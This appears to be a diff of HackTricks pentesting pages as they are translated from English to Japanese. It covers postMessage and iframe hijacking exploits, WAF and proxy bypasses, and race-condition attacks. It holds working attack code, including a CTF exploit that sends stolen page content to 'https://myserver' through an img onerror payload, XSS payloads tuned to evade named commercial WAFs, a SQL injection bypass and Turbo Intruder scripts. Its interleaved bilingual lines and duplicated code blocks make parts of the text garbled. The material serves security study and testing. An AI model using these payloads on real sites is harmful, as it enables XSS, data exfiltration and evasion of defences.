- **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
- 値`null`でpostMessageに`token`を送信するのは簡単です。
- **`window.token`**は、**`document.cookie`**を使用する関数**`getCookie`**を呼び出す際に使用されます。**`null`**オリジンのページで**`document.cookie`**にアクセスすると**エラー**が発生することに注意してください。これにより、**`window.token`**は**`undefined`**の値になります。
最終的な解決策は[**@terjanq**](https://twitter.com/terjanq)によるもので、[**以下**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)です:
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,33 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## Changing child iframes locations
## 子iframeの位置を変更する
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.
[**この書き込み**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Headerがないウェブページをiframe化できる場合、別のiframeを含む場合、その**子iframeの位置を変更する**ことができます。
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, **`frames.location`**.
This is specially useful in **postMessages** because if a page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the related iframe (child or parent) to an attackers controlled location** and steal that data.
例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**`frames.location`**を使用してefg.comをevil.comにクロスオリジンで変更することができます。
これは特に**postMessages**で有用です。なぜなら、ページが**ワイルドカード**を使用して機密データを送信している場合、`windowRef.postmessage("","*")`、攻撃者が制御する位置に関連するiframe子または親の**位置を変更する**ことが可能で、そのデータを盗むことができます。
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Proxy / WAF Protections Bypass
# プロキシ / WAF 保護のバイパス
{{#include ../banners/hacktricks-training.md}}
@ -6,23 +6,21 @@
{% embed url="https://websec.nl/" %}
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
## パス名操作による Nginx ACL ルールのバイパス <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx rule example:
この研究からの技術 [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx ルールの例:
```plaintext
location = /admin {
deny all;
deny all;
}
location = /admin/ {
deny all;
deny all;
}
```
In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.
Nginxはバイパスを防ぐために、チェックする前にパスの正規化を行います。しかし、バックエンドサーバーが異なる正規化nginxが削除しない文字を削除するを行う場合、この防御をバイパスすることが可能かもしれません。
### **NodeJS - Express**
@ -56,48 +54,43 @@ In order to prevent bypasses Nginx performs path normalization before checking i
### **PHP-FPM**
Nginx FPM configuration:
Nginx FPM設定:
```plaintext
location = /admin.php {
deny all;
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginxは`/admin.php`へのアクセスをブロックするように設定されていますが、`/admin.php/index.php`にアクセスすることでこれをバイパスすることが可能です。
Nginx is configured to block access to `/admin.php` but it's possible to bypass this by accessing `/admin.php/index.php`.
### How to prevent
### 予防方法
```plaintext
location ~* ^/admin {
deny all;
deny all;
}
```
## Mod Securityルールのバイパス <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### パスの混乱
### Path Confusion
[**この投稿**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)では、ModSecurity v33.0.12まで)が、アクセスされたパスを含むはずの`REQUEST_FILENAME`変数を**不適切に実装している**ことが説明されていますパラメータの開始まで。これは、パスを取得するためにURLデコードを行ったためです。\
したがって、`http://example.com/foo%3f';alert(1);foo=`のようなリクエストは、mod securityではパスが単に`/foo`であると見なされます。なぜなら、`%3f``?`に変換されてURLパスが終了するからですが、実際にサーバーが受け取るパスは`/foo%3f';alert(1);foo=`になります。
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.\
Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.
`REQUEST_BASENAME`および`PATH_INFO`変数もこのバグの影響を受けました。
The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug.
Mod Securityのバージョン2でも同様のことが発生し、特定の拡張子例えば`.bak`)に関連するバックアップファイルへのユーザーアクセスを防ぐ保護をバイパスすることが可能でした。これは、ドットを`%2e`でURLエンコードして送信することで実現されました。例えば、`https://example.com/backup%2ebak`のようにです。
Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as `.bak`) simply by sending the dot URL encoded in `%2e`, for example: `https://example.com/backup%2ebak`.
## AWS WAF ACLのバイパス <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### 不正なヘッダー
### Malformed Header
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.
For example, sending the following request with a SQL injection in the header X-Query:
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、AWSが適用したHTTPヘッダーに対するWAFルールを、不正に解析されたヘッダーを送信することでバイパスすることが可能であったと述べています。このヘッダーはAWSによって適切に解析されませんでしたが、バックエンドサーバーによっては解析されました。
例えば、ヘッダーX-QueryにSQLインジェクションを含む以下のリクエストを送信することです。
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -106,36 +99,34 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
AWS WAFをバイパスすることが可能だったのは、次の行がヘッダーの値の一部であることを理解できなかったためであり、NODEJSサーバーは理解していたこれは修正された
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
## 一般的なWAFバイパス
## Generic WAF bypasses
### リクエストサイズ制限
### Request Size Limits
一般的にWAFには、チェックするリクエストの長さ制限があり、POST/PUT/PATCHリクエストがそれを超えると、WAFはリクエストをチェックしません。
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
- AWS WAFについては、[**ドキュメントを確認できます**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load BalancerおよびAWS AppSync保護のために検査できるウェブリクエストボディの最大サイズ</td><td>8 KB</td></tr><tr><td>CloudFront、API Gateway、Amazon Cognito、App Runner、およびVerified Access保護のために検査できるウェブリクエストボディの最大サイズ**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
- [**Azureのドキュメントから**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
古いWebアプリケーションファイアウォールは、Core Rule Set 3.1(またはそれ以下)で、リクエストボディの検査をオフにすることで**128 KB**を超えるメッセージを許可しますが、これらのメッセージは脆弱性のチェックを受けません。新しいバージョンCore Rule Set 3.2以降)では、最大リクエストボディ制限を無効にすることで同様のことができます。リクエストがサイズ制限を超えると:
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
**防止モード**の場合:リクエストをログに記録し、ブロックします。\
**検出モード**の場合:制限まで検査し、残りを無視し、`Content-Length`が制限を超えた場合はログに記録します。
If p**revention mode**: Logs and blocks the request.\
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
- [**Akamaiから**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
デフォルトでは、WAFはリクエストの最初の8KBのみを検査します。高度なメタデータを追加することで、制限を128KBまで引き上げることができます。
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
- [**Cloudflareから**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
Up to 128KB.
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
最大128KB。
### 難読化 <a href="#obfuscation" id="obfuscation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -143,58 +134,54 @@ Up to 128KB.
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Unicode 互換性 <a href="#unicode-compatability" id="unicode-compatability"></a>
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode).
#### Example <a href="#example" id="example"></a>
Unicode 正規化の実装によって(詳細は [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)、Unicode 互換性を共有する文字は WAF をバイパスし、意図したペイロードとして実行できる場合があります。互換性のある文字は [here](https://www.compart.com/en/unicode) で見つけることができます。
#### 例 <a href="#example" id="example"></a>
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
### コンテキストWAFのバイパスとエンコーディング <a href="#ip-rotation" id="ip-rotation"></a>
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
[**このブログ記事**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)で述べられているように、ユーザー入力のコンテキストを維持できるWAFをバイパスするために、WAFの技術を悪用してユーザーの入力を実際に正規化することができます。
As mentioned in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.
例えば、記事では**Akamaiがユーザー入力を10回デコードした**と述べられています。したがって、`<input/%2525252525252525253e/onfocus`のようなものは、Akamaiには`<input/>/onfocus`として見え、**タグが閉じているため問題ないと考えられるかもしれません**。しかし、アプリケーションが入力を10回URLデコードしない限り、被害者は`<input/%25252525252525253e/onfocus`のようなものを見ることになり、**これはXSS攻撃に対して依然として有効です**。
For example, in the post it's mentioned that **Akamai URL decoded a user input 10 times**. Therefore something like `<input/%2525252525252525253e/onfocus` will be seen by Akamai as `<input/>/onfocus` which **might think that it's ok as the tag is closed**. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like `<input/%25252525252525253e/onfocus` which is **still valid for a XSS attack**.
したがって、これは**WAFがデコードして解釈するエンコードされたコンポーネントにペイロードを隠すことを可能にします**が、被害者はそれを見ません。
Therefore, this allows to **hide payloads in encoded components** that the WAF will decode and interpret while the victim won't.
さらに、これはURLエンコードされたペイロードだけでなく、unicode、hex、octalなどの他のエンコーディングでも行うことができます。
Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal...
In the post the following final bypasses are suggested:
記事では、以下の最終的なバイパスが提案されています:
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
It's also mentioned that depending on **how some WAFs understand the context** of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between `/*` and `*/` (potentially because this is commonly used as comments. Therefore, a SQLinjection such as `/*'or sleep(5)-- -*/` won't be caught and will be valid as `/*` is the starting string of the injection and `*/` is commented.
また、**一部のWAFがユーザー入力のコンテキストをどのように理解するかによって**、それを悪用することが可能であることも述べられています。ブログで提案された例は、Akamaiが`/*``*/`の間に何でも入れることを許可していることです(これは一般的にコメントとして使用されるためです)。したがって、`/*'or sleep(5)-- -*/`のようなSQLインジェクションはキャッチされず、`/*`がインジェクションの開始文字列であり、`*/`がコメントされているため有効です。
These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS).
このようなコンテキストの問題は、WAFによって悪用されることが期待される脆弱性以外の**他の脆弱性を悪用するためにも使用できます**例えば、これを使用してXSSを悪用することも可能です
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
### H2Cスモグリング <a href="#ip-rotation" id="ip-rotation"></a>
{{#ref}}
h2c-smuggling.md
{{#endref}}
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
### IPローテーション <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffufと共に使用するためのAPIゲートウェイURLを生成します
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireproxに似ています
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): APIゲートウェイIPを使用するBurp Suiteプラグイン
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 入力ファイルサイズと分割係数に基づいて動的に決定された数のコンテナインスタンスがアクティブ化され、入力は並列実行のためにチャンクに分割されます。例えば、10,000行の入力ファイルから100行の分割係数で100インスタンスが100チャンクを処理します。
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
### 正規表現バイパス
ファイアウォールの正規表現フィルターをバイパスするためにさまざまな技術が使用できます。例としては、大文字と小文字の交互、改行の追加、ペイロードのエンコーディングなどがあります。さまざまなバイパスのリソースは[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)や[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)で見つけることができます。以下の例は[この記事](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)から引用されています。
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -215,12 +202,11 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## ツール
## Tools
- [**nowafpls**](https://github.com/assetnote/nowafpls): WAFを長さでバイパスするためにリクエストにジャンクデータを追加するBurpプラグイン
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length
## References
## 参考文献
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
@ -232,4 +218,3 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,111 +1,106 @@
# Race Condition
# レースコンディション
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> この技術を深く理解するためには、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポートを確認してください。
## Enhancing Race Condition Attacks
## レースコンディション攻撃の強化
The main hurdle in taking advantage of race conditions is making sure that multiple requests are handled at the same time, with **very little difference in their processing times—ideally, less than 1ms**.
レースコンディションを利用する際の主な障害は、**処理時間にほとんど差がない状態で複数のリクエストが同時に処理されることを確実にすること—理想的には1ms未満**です。
Here you can find some techniques for Synchronizing Requests:
ここでは、リクエストを同期させるためのいくつかの技術を見つけることができます:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
#### HTTP/2 シングルパケット攻撃 vs. HTTP/1.1 ラストバイト同期
- **HTTP/2**: Supports sending two requests over a single TCP connection, reducing network jitter impact. However, due to server-side variations, two requests may not suffice for a consistent race condition exploit.
- **HTTP/1.1 'Last-Byte Sync'**: Enables the pre-sending of most parts of 20-30 requests, withholding a small fragment, which is then sent together, achieving simultaneous arrival at the server.
- **HTTP/2**: 単一のTCP接続を介して2つのリクエストを送信することをサポートし、ネットワークのジッターの影響を軽減します。ただし、サーバー側の変動により、2つのリクエストでは一貫したレースコンディションの悪用には不十分な場合があります。
- **HTTP/1.1 'ラストバイト同期'**: 20-30のリクエストのほとんどの部分を事前に送信し、小さな断片を保持しておき、それを一緒に送信することで、サーバーへの同時到着を実現します。
**Preparation for Last-Byte Sync** involves:
**ラストバイト同期の準備**には以下が含まれます:
1. Sending headers and body data minus the final byte without ending the stream.
2. Pausing for 100ms post-initial send.
3. Disabling TCP_NODELAY to utilize Nagle's algorithm for batching final frames.
4. Pinging to warm up the connection.
1. ストリームを終了せずに最終バイトを除いたヘッダーとボディデータを送信します。
2. 初回送信後に100ms待機します。
3. TCP_NODELAYを無効にして、Nagleのアルゴリズムを利用して最終フレームをバッチ処理します。
4. 接続を温めるためにピングを送信します。
The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
保持されたフレームのその後の送信は、Wiresharkを介して確認できる単一パケットでの到着をもたらすべきです。この方法は、通常RC攻撃に関与しない静的ファイルには適用されません。
### Adapting to Server Architecture
### サーバーアーキテクチャへの適応
Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
ターゲットのアーキテクチャを理解することは重要です。フロントエンドサーバーはリクエストを異なる方法でルーティングする可能性があり、タイミングに影響を与えます。無関係なリクエストを通じてサーバー側の接続を事前に温めることで、リクエストのタイミングを正常化することができます。
#### Handling Session-Based Locking
#### セッションベースのロックの処理
Frameworks like PHP's session handler serialize requests by session, potentially obscuring vulnerabilities. Utilizing different session tokens for each request can circumvent this issue.
PHPのセッションハンドラーのようなフレームワークは、セッションごとにリクエストをシリアライズし、脆弱性を隠す可能性があります。各リクエストに異なるセッショントークンを使用することで、この問題を回避できます。
#### Overcoming Rate or Resource Limits
#### レートまたはリソース制限の克服
If connection warming is ineffective, triggering web servers' rate or resource limit delays intentionally through a flood of dummy requests might facilitate the single-packet attack by inducing a server-side delay conducive to race conditions.
接続の温めが効果的でない場合、ダミーリクエストの洪水を通じてウェブサーバーのレートまたはリソース制限の遅延を意図的に引き起こすことで、レースコンディションに適したサーバー側の遅延を誘発し、シングルパケット攻撃を促進することができます。
## Attack Examples
## 攻撃の例
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
- **Tubo Intruder - HTTP2 シングルパケット攻撃 (1エンドポイント)**: **Turbo intruder**にリクエストを送信できます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)、リクエスト内の**`%s`**の値をブルートフォースしたいものに変更できます。例えば、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のようにして、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
異なる値を**送信する**場合は、クリップボードからのワードリストを使用するこのコードで変更できます:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> If the web doesn't support HTTP2 (only HTTP1.1) use `Engine.THREADED` or `Engine.BURP` instead of `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like:
> ウェブがHTTP2をサポートしていない場合HTTP1.1のみ)、`Engine.BURP2`の代わりに`Engine.THREADED`または`Engine.BURP`を使用してください。
- **Tubo Intruder - HTTP2シングルパケット攻撃複数のエンドポイント**: 1つのエンドポイントにリクエストを送信し、その後RCEをトリガーするために他のエンドポイントに複数のリクエストを送信する必要がある場合、`race-single-packet-attack.py`スクリプトを次のように変更できます:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- It's also available in **Repeater** via the new '**Send group in parallel**' option in Burp Suite.
- For **limit-overrun** you could just add the **same request 50 times** in the group.
- For **connection warming**, you could **add** at the **beginning** of the **group** some **requests** to some non static part of the web server.
- For **delaying** the process **between** processing **one request and another** in a 2 substates steps, you could **add extra requests between** both requests.
- For a **multi-endpoint** RC you could start sending the **request** that **goes to the hidden state** and then **50 requests** just after it that **exploits the hidden state**.
